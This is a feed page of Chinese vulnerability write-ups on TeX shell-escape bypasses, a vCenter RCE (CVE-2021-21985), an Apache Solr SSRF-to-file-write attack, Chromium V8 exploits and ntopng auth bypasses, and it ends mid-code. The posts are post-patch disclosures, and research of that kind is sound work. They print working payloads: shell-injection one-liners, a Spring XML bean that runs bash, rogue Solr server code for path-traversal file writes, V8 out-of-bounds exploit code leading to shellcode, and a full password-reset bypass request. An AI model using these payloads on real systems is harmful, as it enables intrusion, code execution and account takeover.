Normal view

There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

TeX 安全模式绕过研究

By: RicterZ
6 June 2021 at 07:06

漏洞时间线:

  • 2021/03/08 - 提交漏洞至 TeX 官方;
  • 2021/03/27 - 漏洞修复,安全版本:TeX Live 2021;
  • 2021/06/06 - 漏洞分析公开。

I. Tex 安全限制概述

TeX 提供了 \write18 原语以执行命令。为了提高安全性,TexLive 的配置文件(texmf.cnf)提供了配置项(shell_escape、shell_escape_commands)去配置 \write18 能否执行命令以及允许执行的命令列表。

其中 shell_escape 有三种配置值,分别为:

  • f:不允许执行任何命令
  • t:允许执行任何命令
  • p:支持执行白名单内的命令(默认)

白名单命令列表可以通过如下命令查询:

kpsewhich --var-value shell_escape_commands

shell_escape 配置值可以通过如下命令查询:

kpsewhich --var-value shell_escape

本文涉及的 CVE 如下:没 advisory 懒得申请了。

II. 挖掘思路

TeX 提供了一个默认的白名单命令列表,如若在调用过程中,这些命令出现安全问题,则会导致 TeX 本身在调用命令的时候出现相同的安全问题。

可以假设:在命令调用的过程中,由于开发者对于命令参数的不完全掌握,有可能存在某个命令参数最终会作为系统命令进行调用的情况。依据这个思路,挖掘白名单内的命令以及白名单内命令的内部调用,并最终得到一个调用链以及相关的参数列表,依据研究人员的经验去判断是否存在安全问题。

III. 在 *nix 下的利用方式

通过针对命令的深入挖掘,发现白名单内的 repstopdf 命令存在安全问题,通过精心构造参数可以执行任意系统命令。

repstopdf 意为 restricted epstopdf,epstopdf 是一个 Perl 开发的脚本程序,可以将 eps 文件转化为 pdf 文件。repstopdf 强制开启了 epstopdf 的 --safer 参数,同时禁用了 --gsopt/--gsopts/--gscmd 等 GhostScript 相关的危险参数,以防止在 TeX 中调用此命令出现安全问题。repstopdf 调用方式如下:

repstopdf [options] [epsfile [pdffile.pdf]]

repstopdf 会调用 GhostScript 去生成 pdf 文件(具体调用参数可以用过 strace 命令进行跟踪),其中传入的 epsfile 参数会成为 GhostScript 的 -sOutputFile= 选项的参数。

通过查阅 GhostScript 的文档可知,GhostScript 的此项参数支持管道操作。当我们传入文件名为:|id 时,GhostScript 会执行 id 命令。于是我们可以构造 repstopdf 的参数实现任意的命令执行操作,不受前文所提及的限制条件限制。利用方式如下所示:

repstopdf '|id #'

在 TeX 内的利用方式为:

\write18{repstopdf "|id #"}

IV. 在 Windows 下的利用方式

Windows 平台下,白名单内存在的是 epstopdf 而非 repstopdf,且相关参数选项与 *nix 平台下不相同,但仍旧存在 --gsopt 选项。利用此选项可以控制调用 GhostScript 时的参数。

此参数只支持设定调用 GhostScript 时的参数选项。参考 GhostScript 的文档,指定参数 -sOutputFile 及其他相关参数即可。利用方式为:

epstopdf 1.tex "--gsopt=-sOutputFile=%pipe%calc" "--gsopt=-sDEVICE=pdfwrite" "--gsopt=-"

V. LuaLaTeX 的安全问题

LuaLaTex 内置了 Lua 解释器,可以在编译时执行 Lua 代码,原语为:\directlua。LuaLaTeX 支持调用系统命令,但是同样地受到 shell_escape 的限制。如在受限(f)模式下,不允许执行任意命令;默认情况下只允许执行白名单内的命令。由于可以调用白名单内的命令,LuaLaTeX 同样可以利用 III、IV 内描述的方式进行利用,在此不做进一步赘述。

LuaLaTeX 的 Lua 解释器支持如下风险功能:

  • 命令执行(io.popen 等函数)
  • 文件操作(lfs 库函数)
  • 环境变量设置(os.setenv)
  • 内置了部分自研库(fontloader)

1. 环境变量劫持导致命令执行

通过修改 PATH 环境变量,可以达到劫持白名单内命令的效果。PATH 环境变量指定了可执行文件所在位置的目录路径,当在终端或者命令行输入命令时,系统会依次查找 PATH 变量中指定的目录路径,如果该命令存在与目录中,则执行此命令(https://en.wikipedia.org/wiki/PATH_(variable))。

将 PATH 变量修改为攻击者可控的目录,并在该目录下创建与白名单内命令同名的恶意二进制文件后,攻击者通过正常系统功能调用白名单内的命令后,可以达到任意命令执行的效果。

2. fontloader 库安全问题

fontloader 库存在典型的命令注入问题,问题代码如下:

// texk/web2c/luatexdir/luafontloader/fontforge/fontforge/splinefont.c
char *Decompress(char *name, int compression) {
    char *dir = getenv("TMPDIR");
    char buf[1500];
    char *tmpfile;

    if ( dir==NULL ) dir = P_tmpdir;
    tmpfile = galloc(strlen(dir)+strlen(GFileNameTail(name))+2);
    strcpy(tmpfile,dir);
    strcat(tmpfile,"/");
    strcat(tmpfile,GFileNameTail(name));
    *strrchr(tmpfile,'.') = '\0';
#if defined( _NO_SNPRINTF ) || defined( __VMS )
    sprintf( buf, "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#else
    snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#endif
    if ( system(buf)==0 )
return( tmpfile );
    free(tmpfile);
return( NULL );
}

调用链为:

ff_open -> ReadSplineFont -> _ReadSplineFont -> Decompress -> system

通过 Lua 调用 fontloader.open 函数即可触发。此方式可以在受限(f)模式下执行命令。

VI. DVI 的安全问题

DVI(Device independent file)是一种二进制文件格式,可以由 TeX 生成。在 TeX 中,可以利用 \special 原语嵌入图形。TeX 内置了 DVI 查看器,其中 *nix 平台下为 xdvi 命令,Windows 平台下通常为 YAP(Yet Another Previewer)。

1. xdvi 命令的安全问题

xdvi 在处理超链接时,调用了系统命令启动新的 xdvi,存在典型的命令注入问题。问题代码如下:

// texk/xdvik/hypertex.c
void
launch_xdvi(const char *filename, const char *anchor_name)
{
#define ARG_LEN 32
    int i = 0;
    const char *argv[ARG_LEN];
    char *shrink_arg = NULL;

    ASSERT(filename != NULL, "filename argument to launch_xdvi() mustn't be NULL");

    argv[i++] = kpse_invocation_name;
    argv[i++] = "-name";
    argv[i++] = "xdvi";

    /* start the new instance with the same debug flags as the current instance */
    if (globals.debug != 0) {
	argv[i++] = "-debug";
	argv[i++] = resource.debug_arg;
    }
    
    if (anchor_name != NULL) {
	argv[i++] = "-anchorposition";
	argv[i++] = anchor_name;
    }

    argv[i++] = "-s";
    shrink_arg = XMALLOC(shrink_arg, LENGTH_OF_INT + 1);
    sprintf(shrink_arg, "%d", currwin.shrinkfactor);
    argv[i++] = shrink_arg;

    argv[i++] = filename; /* FIXME */
    
    argv[i++] = NULL;
    
...
	    execvp(argv[0], (char **)argv);

2. YAP 安全问题

YAP 在处理 DVI 内置的 PostScripts 脚本时调用了 GhostScript,且未开启安全模式(-dSAFER),可以直接利用内嵌的 GhostScript 进行命令执行。

VII. 漏洞利用

TeX 底层出现安全问题时,可以影响基于 TeX 的相关在线平台、TeX 编辑器以及命令行。下面以 MacOS 下比较知名的 Texpad 进行演示:

VIII. 参考文章

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

By: RicterZ
5 June 2021 at 00:17
vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百个 bundle。前几日爆出的任意文件写入漏洞即为 vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中,发现 h5-vsan 相关的 bundle 提供了一些 API 端点,并且未经过授权即可访问。通过进一步的利用,发现其中某个端点存在安全问题,可以执行任意 Spring Bean 的方法,从而导致命令执行。
CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

漏洞时间线:

  • 2021/04/13 - 发现漏洞并实现 RCE;
  • 2021/04/16 - 提交漏洞至 VMware 官方并获得回复;
  • 2021/05/26 - VMware 发布漏洞 Advisory(VMSA-2021-0010);
  • 2021/06/02 - Exploit 公开(from 随风's blog);
  • 2021/06/05 - 本文公开。

0x01. 漏洞分析

存在漏洞的 API 端点如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 1. 存在漏洞的 Controller

首先在请求路径中获取 Bean 名称或者类名和方法名称,接着从 POST 数据中获取 methodInput 列表作为方法参数,接着进入 invokeService 方法:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 2. invokeService 方法

invokeServer 先获取了 Bean 实例,接着获取该实例的方法列表,比对方法名和方法参数长度后,将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean 非常多(根据版本不同数量有微量变化),如图所示:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 3. Bean 列表

其中不乏存在危险方法、可以利用的 Bean,需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext,对应的类是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的 loadVmodlPackage 方法代码如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 4. loadVmodlPackage 方法

注意到 loadVmodlPackage 会调用 SpringContextLoader 进行加载,vmodPackage 可控。

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 5. 调用 SpringContextLoader

最终会调用到 ClassPathXmlApplicationContext 的构造方法。ClassPathXmlApplicationContext 可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 6. ClassPathXmlApplicationContext

需要注意的是,在 SpringContextLoadergetContextFileNameForPackage 会将路径中的 . 替换为 /,所以无法指定一个正常的 IPv4 地址,但是可以利用数字型 IP 绕过:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 7. 调用 loadVmodlPackages 方法并传入 URL

XML 文件内容及攻击效果如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 8. XML 文件内容及攻击效果

0x02. 不出网利用(6.7 / 7.0)

若要利用此漏洞本质上需要获取一个 XML 文件的内容,而 Java 的 URL 并不支持 data 协议,那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 9. VsanHttpProvider.py 文件内容

这里存在一个 SSRF 漏洞,使用的是 Python 的 urlopen 函数进行请求,接着将返回内容在内存中进行解压,并且匹配文件名为 .*offline_bundle.* 的内容并进行返回。Python 的 urlopen 支持 data 协议,所以可以构造一个压缩包并 Base64 编码,构造 data 协议的 URL:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 10. 利用 SSRF 返回可控文件内容

在利用的过程中,将 IP 地址替换为 localhost 即可防止 . 被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在,所以无法在 6.5 版本上不出网利用。

现在虽然不用进行外网请求,但是仍然无法获取命令回显。通过查看 Bean 列表,发现存在名为 systemProperties 的 Bean。同时这个 Bean 也存在方法可以获取属性内容:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 11. 调用 systemProperties 的方法

所以在执行 SpEL 时,可以将命令暂存到 systemProperties 中,然后利用 getProperty 方法获取回显。最终的 context.xml 内容为:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ ls -la /  2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>

最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件,触发第二个 SSRF 漏洞从而返回内容可控的 XML 文件内容,XML 文件会执行命令并存入 System Properties 中,第二个请求调用 systemProperties Bean 的 getProperty 方法获取输出。最终攻击效果如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 12. 不出网攻击效果

0x03. 技术总结

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

By: RicterZ
2 June 2021 at 09:10
Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x01. TL; DR

事情要从 Skay 的 SSRF 漏洞(CVE-2021-27905)说起。正巧后续的工作中遇到了 Solr,我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制(Replication)时,可以传入任意 URL,而 Solr 会针对此 URL 进行请求。

说起主从复制,那么对于 Redis 主从复制漏洞比较熟悉的人会知道,可以利用主从复制的功能实现任意文件写入,那么 Solr 是否会存在这个问题呢?通过进一步的分析,我发现这个漏洞岂止于 SSRF,简直就是 Redis Replication 文件写入的翻版,通过构造合法的返回,可以以 Solr 应用的权限实现任意文件写。

对于低版本 Solr,可以通过写入 JSP 文件获取 Webshell,对于高版本 Solr,则需要结合用户权限,写入 crontab 或者 authorized_keys 文件利用。

0x02. CVE-2021-27905

Solr 的 ReplicationHandler 在传入 command 为 fetchindex 时,会请求传入的 masterUrl,漏洞点如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

SSRF 漏洞到这里就结束了。那么后续呢,如果是正常的主从复制,又会经历怎么样的过程?

0x03. Replication 代码分析

我们继续跟进 doFetch 方法,发现会调用到 fetchLatestIndex 方法:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

在此方法中,首先去请求目标 URL 的 Solr 实例,接着对于返回值的 indexversiongeneration 进行判断:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

如果全部合法(参加下图的 if 条件),则继续请求服务,获取文件列表:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

文件列表包含filelistconfFilestlogFiles 三部分,如果目标 Solr 实例返回的文件列表不为空,则将文件列表中的内容添加到 filesToDownload 中。这里 Solr 是调用的 command 是 filelist

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

获取下载文件的列表后,接着 Solr 会进行文件的下载操作,按照 filesToDownloadtlogFilesToDownloadconfFilesToDownload 的顺序进行下载。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

我们随意跟进某个下载方法,比如 downloadConfFiles

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

可以发现,saveAs 变量是取于 files 的某个属性,而最终会直接创建一个 File 对象:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

也就是说,如果 file 的 alias 或者 name 可控,则可以利用 ../ 进行目录遍历,造成任意文件写入的效果。再回到 fetchFileList 查看,可以发现,filesToDownload 是完全从目标 Solr 实例的返回中获取的,也就是说是完全可控的。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x04. Exploit 编写

类似于 Redis Replication 的 Exploit,我们也需要编写一个 Rogue Solr Server,需要实现几种 commands,包括 indexversionfilelist 以及 filecontent。部分代码如下:

if (data.contains("command=indexversion")) {
    response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
    response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
    response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
    response = "Hello World".getBytes();
}

t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()

返回恶意文件的代码如下:

public static ByteArrayOutputStream makeFileListResponse() throws IOException {
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    JavaBinCodec codec = new JavaBinCodec(null);

    NamedList<Object> values = new SimpleOrderedMap<>();
    NamedList<Object> headers = new SimpleOrderedMap<>();
    headers.add("status", 0);
    headers.add("QTime", 1);

    values.add("responseHeader", headers);

    HashMap<String, Object> file = new HashMap<>();
    file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file.put("lastmodified", new Long("123456"));
    file.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
    fileList.add(file);

    HashMap<String, Object> file2 = new HashMap<>();
    file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file2.put("lastmodified", new Long("123456"));
    file2.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
    fileList2.add(file2);

    values.add("confFiles", fileList);
    values.add("filelist", fileList2);

    codec.marshal(values, outputStream);
    return outputStream;

其中 DIST_FILE 为攻击者传入的参数,比如传入 ../../../../../../../../tmp/pwn.txt,而 FILE_NAME 是本地要写入的文件的路径。攻击效果如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

Chromium V8 JavaScript引擎远程代码执行漏洞分析讨论

By: frust
15 April 2021 at 07:35

0x01-概述

2021年4月13日,安全研究人员Rajvardhan Agarwal在推特公布了本周第一个远程代码执行(RCE)的0Day漏洞,该漏洞可在当前版本(89.0.4389.114)的谷歌Chrome浏览器上成功触发。Agarwal公布的漏洞,是基于Chromium内核的浏览器中V8 JavaScript引擎的远程代码执行漏洞,同时还发布了该漏洞的PoC

2021年4月14日,360高级攻防实验室安全研究员frust公布了本周第二个Chromium 0day(Issue 1195777)以及Chrome 89.0.4389.114的poc视频验证。该漏洞会影响当前最新版本的Google Chrome 90.0.4430.72,以及Microsoft Edge和其他可能基于Chromium的浏览器。

Chrome浏览器沙盒可以拦截该漏洞。但如果该漏洞与其他漏洞进行组合,就有可能绕过Chrome沙盒。

0x02-漏洞PoC

目前四个漏洞issue 1126249issue 1150649、issue 1196683、issue 1195777的exp均使用同一绕过缓解措施手法(截至文章发布,后两个issue尚未公开),具体细节可参考文章

基本思路是创建一个数组,然后调用shift函数构造length为-1的数组,从而实现相对任意地址读写。issue 1196683中关键利用代码如下所示。

function foo(a) {
......
	if(x==-1) x = 0;
	var arr = new Array(x);//---------------------->构造length为-1数组
	arr.shift();
......
}

issue 1195777中关键利用代码如下所示:

function foo(a) {
    let x = -1;
    if (a) x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//---------------------->构造length为-1数组
    arr.shift();
    let local_arr = Array(2);
    ......
}

参考issue 1126249issue 1150649中关键poc代码如下所示,其缓解绕过可能使用同一方法。

//1126249
function jit_func(a) {
	.....
    v5568 = Math.sign(v19229) < 0|0|0 ? 0 : v5568;
    let v51206 = new Array(v5568);
    v51206.shift();
    Array.prototype.unshift.call(v51206);
    v51206.shift();
   .....
}

//1150649
function jit_func(a, b) {
  ......
  v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);
  if (b) {
    v56971 = 0;
  }
  v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
  v129341.shift();
  v4951241 = {};
  v129341.shift();
  ......
}

国内知名研究员gengming@dydhh1推特发文将在zer0pwn会议发表议题讲解CVE-2020-1604[0|1]讲过如何绕过缓解机制。本文在此不再赘述。

frust在youtube给出了Chrome89.0.4389.114的poc视频验证;经测试最新版Chrome 90.0.4430.72仍旧存在该漏洞。

0x03-exp关键代码

exp关键代码如下所示。

class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;//进行地址泄露
        }
    }
function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//
        arr[0] = 0x1122;//修改数组长度
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);

通过代码Array(Math.sign(0 - Math.max(0, x, -1)))创建一个length为-1的数组,然后使用LeakArrayBuffer构造内存布局,将相对读写布局成绝对读写。

这里需要说明的是,由于chrome80以上版本启用了地址压缩,地址高4个字节,可以在构造的array后面的固定偏移找到。

先将corrupt_buffer的地址泄露,然后如下计算地址

 (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;

可以计算出高4字节。

同时结合0x02步骤中实现的相对读写和对象泄露,可实现绝对地址读写。@r4j0x00在issue 1196683中构造length为-1数组后,则通过伪造对象实现任意地址读写。

之后,由于WASM内存具有RWX权限,因此可以将shellcode拷贝到WASM所在内存,实现任意代码执行。

具体细节参考exp

该漏洞目前已修复

0x04-小结

严格来说,此次研究人员公开的两个漏洞并非0day,相关漏洞在最新的V8版本中已修复,但在公开时并未merge到最新版chrome中。由于Chrome自身拥有沙箱保护,该漏洞在沙箱内无法被成功利用,一般情况下,仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。但是,其他不少基于v8等组件的app(包括安卓),尤其是未开启沙箱保护的软件,仍具有潜在安全风险。

漏洞修复和应用代码修复之间的窗口期为攻击者提供了可乘之机。Chrome尚且如此,其他依赖v8等组件的APP更不必说,使用1 day甚至 N day即可实现0 day效果。这也为我们敲响警钟,不仅仅是安全研究,作为应用开发者,也应当关注组件漏洞并及时修复,避免攻击者趁虚而入。

我们在此也敦促各大软件厂商、终端用户、监管机构等及时采取更新、防范措施;使用Chrome的用户需及时更新,使用其他Chrome内核浏览器的用户则需要提高安全意识,防范攻击。

参考链接

https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=476971

https://bugs.chromium.org/p/chromium/issues/detail?id=1150649

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=465645

https://bugs.chromium.org/p/chromium/issues/detail?id=1126249

https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html

https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js

ntopng 流量分析工具多个漏洞分析

By: RicterZ
24 March 2021 at 03:37

0x00. TL;DR

ntopng 是一套开源的网络流量监控工具,提供基于 Web 界面的实时网络流量监控。支持跨平台,包括 Windows、Linux 以及 MacOS。ntopng 使用 C++ 语言开发,其绝大部分 Web 逻辑使用 lua 开发。

在针对 ntopng 的源码进行审计的过程中,笔者发现了 ntopng 存在多个漏洞,包括一个权限绕过漏洞、一个 SSRF 漏洞和多个其他安全问题,接着组合利用这些问题成功实现了部分版本的命令执行利用和管理员 Cookie 伪造。

比较有趣的是,利用的过程涉及到 SSDP 协议、gopher scheme 和奇偶数,还有极佳的运气成分。ntopng 已经针对这些漏洞放出补丁,并在 4.2 版本进行修复。涉及漏洞的 CVE 如下:

  • CVE-2021-28073
  • CVE-2021-28074

0x01. 部分权限绕过 (全版本)

ntopng 的 Web 界面由 Lua 开发,对于 HTTP 请求的处理、认证相关的逻辑由后端 C++ 负责,文件为 HTTPserver.cpp。对于一个 HTTP 请求来说,ntopng 的主要处理逻辑代码都在 handle_lua_request 函数中。其 HTTP 处理逻辑流程如下:

  1. 检测是不是某些特殊路径,如果是直接返回相关逻辑结束函数;
  2. 检测是不是白名单路径,如果是则储存在 whitelisted 变量中;
  3. 检测是否是静态资源,通过判断路径最后的扩展名,如果不是则进入认证逻辑,认证不通过结束函数;
  4. 检测是否路径以某些特殊路径开头,如果是则调用 Lua 解释器,逻辑交由 Lua 层;
  5. 以上全部通过则判断为静态文件,函数返回,交由 mongoose 处理静态文件。

针对一个非白名单内的 lua 文件,是无法在通过认证之前到达的,因为无法通过判断是否是静态文件的相关逻辑。同时为了使我们传入的路径进入调用 LuaEngine::handle_script_request 我们传入的路径需要以 /lua/ 或者 /plugins/ 开头,以静态文件扩展名结尾,比如 .css 或者 .js

// HTTPserver.cpp
if(!isStaticResourceUrl(request_info, len)) {
    ...
}

if((strncmp(request_info->uri, "/lua/", 5) == 0)
 || (strcmp(request_info->uri, "/metrics") == 0)
 || (strncmp(request_info->uri, "/plugins/", 9) == 0)
 || (strcmp(request_info->uri, "/") == 0)) {
 ...

进入 if 语句后,ntopng 声明了一个 大小为 255 的字符串数组 来储存用户请求的文件路径。并针对以非 .lua 扩展名结尾的路径后补充了 .lua,接着调用 stat 函数判断此路径是否存在。如果存在则调用 LuaEngine::handle_script_request 来进行处理。

// HTTPserver.cpp
/* Lua Script */
char path[255] = { 0 }, uri[2048];
struct stat buf;
bool found;

...
if(strlen(path) > 4 && strncmp(&path[strlen(path) - 4], ".lua", 4))
    snprintf(&path[strlen(path)], sizeof(path) - strlen(path) - 1, "%s", 
    (char*)".lua");

ntop->fixPath(path);
found = ((stat(path, &buf) == 0) && (S_ISREG(buf.st_mode))) ? true : false;

if(found) {
    ...
    l = new LuaEngine(NULL);
    ...
    l->handle_script_request(conn, request_info, path, &attack_attempt, username,
                             group, csrf, localuser);

ntopng 调用 snprintf 将用户请求的 URI 写入到 path 数组中,而 snprintf 会在字符串结尾添加 \0。由于 path 数组长度有限,即使用户传入超过 255 个字符的路径,也只会写入前 254 个字符,我们可以通过填充 ./ 来构造一个长度超过 255 但是合法的路径,并利用长度限制来截断后面的 .css.lua,即可绕过 ntopng 的认证以访问部分 Lua 文件。

目前有两个问题,一个是为什么只能用 ./ 填充,另外一个是为什么说是“部分 Lua 文件”。

第一个问题,在 thrid-party/mongoose/mongoose.c 中,进行路径处理之前会调用下面的函数去除重复的 /以及 .,导致我们只能用 ./ 来填充。

void remove_double_dots_and_double_slashes(char *s) {
    char *p = s;

    while (*s != '\0') {
        *p++ = *s++;
        if (s[-1] == '/' || s[-1] == '\\') {
            // Skip all following slashes, backslashes and double-dots
            while (s[0] != '\0') {
                if (s[0] == '/' || s[0] == '\\') {
                    s++;
                } else if (s[0] == '.' && s[1] == '.') {
                    s += 2;
                } else {
                    break;
                }
            }
        }
    }
    *p = '\0';
}

说部分 Lua 文件的原因为,由于我们只能利用两个字符 ./ 来进行路径填充,。那么针对前缀长度为偶数的路径,我们只能访问路径长度为偶数的路径,反之亦然。因为一个偶数加一个偶数要想成为偶数必然需要再加一个偶数。也就是说,我们需要:

len("/path/to/ntopng/lua/") + len("./") * padding + len("path/to/file") = 255 - 1

0x02. 全局权限绕过 (版本 4.1.x-4.3.x)

其实大多数 ntopng 的安装路径都是偶数(/usr/share/ntopng/scripts/lua/),那么我们需要一个合适的 gadgets 来使我们执行任意 lua 文件。通过对 lua 文件的审计,我发现 modules/widgets_utils.lua内存在一个合适的 gadgets:

// modules/widgets_utils.lua
function widgets_utils.generate_response(widget, params)
   local ds = datasources_utils.get(widget.ds_hash)
   local dirs = ntop.getDirs()
   package.path = dirs.installdir .. "/scripts/lua/datasources/?.lua;" .. package.path

   -- Remove trailer .lua from the origin
   local origin = ds.origin:gsub("%.lua", "")

   -- io.write("Executing "..origin..".lua\n")
   --tprint(widget)

   -- Call the origin to return
   local response = require(origin)

调用入口在 widgets/widget.lua,很幸运,这个文件名长度为偶数。通过阅读代码逻辑可知,我们需要在edit_widgets.lua 创建一个 widget,而创建 widget 有需要存在一个 datasource,在 edit_datasources.lua 创建。而这两个文件的文件名长度全部为偶数,所以我们可以利用请求这几个文件,从而实现任意文件包含的操作,从而绕过 ntopng 的认证。

0x03. Admin 密码重置利用 (版本 2.x)

利用 0x01 的认证绕过,请求 admin/password_reset.lua 即可更改管理员的密码。

GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.
%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%
2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2
f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2fadmin/password_reset.lua.css?confirm_new_
password=123&new_password=123&old_password=0&username=admin HTTP/1.1
Host: 127.0.0.1:3000
Cookie: user=admin
Connection: close

0x04. 利用主机发现功能伪造 Session (版本 4.1.x-4.3.x)

ntopng 的主机发现功能利用了 SSDP(Simple Service Discovery Protocol)协议去发现内网中的设备。

SSDP 协议进行主机发现的流程如下所示:

+----------------------+
|      SSDP Client     +<--------+
+-----------+----------+         |
            |                    |
        M-SEARCH          HTTP/1.1 200 OK
            v                    |
+-----------+----------+         |
| 239.255.255.250:1900 |         |
+---+--------------+---+         |
    |              |             |
    v              v             |
+---+-----+  +-----+---+         |
| DEVICES |  | DEVICES |         |
+---+-----+  +-----+---+         |
    |              |             |
    +--------------+-------------+

SSDP 协议在 UDP 层传输,协议格式基于 HTTPU(在 UDP 端口上传输 HTTP 协议)。SSDP 客户端向多播地址239.255.255.250 的 1900 端口发送 M-SEARCH 的请求,局域网中加入此多播地址的设备接收到请求后,向客户端回复一个 HTTP/1.1 200 OK,在 HTTP Headers 里有与设备相关的信息。其中存在一个 Location 字段,一般指向设备的描述文件。

// modules/discover_utils.lua
function discover.discover2table(interface_name, recache)
    ...
    local ssdp = interface.discoverHosts(3)
    ...
    ssdp = analyzeSSDP(ssdp)
    ...

local function analyzeSSDP(ssdp)
   local rsp = {}

   for url,host in pairs(ssdp) do
      local hresp = ntop.httpGet(url, "", "", 3 --[[ seconds ]])
      ...

在 discover_utils.lua 中,Lua 会调用 discoverHosts 函数获取 SSDP 发现的设备信息,然后在analyzeSSDP 函数中请求 Location 头所指向的 URL。那么这里显然存在一个 SSRF 漏洞。ntop.httpGet最终调用到的方法为 Utils::httpGetPost,而这个方法又使用了 cURL 进行请求。

// Utils.cpp
bool Utils::httpGetPost(lua_State* vm, char *url, char *username,
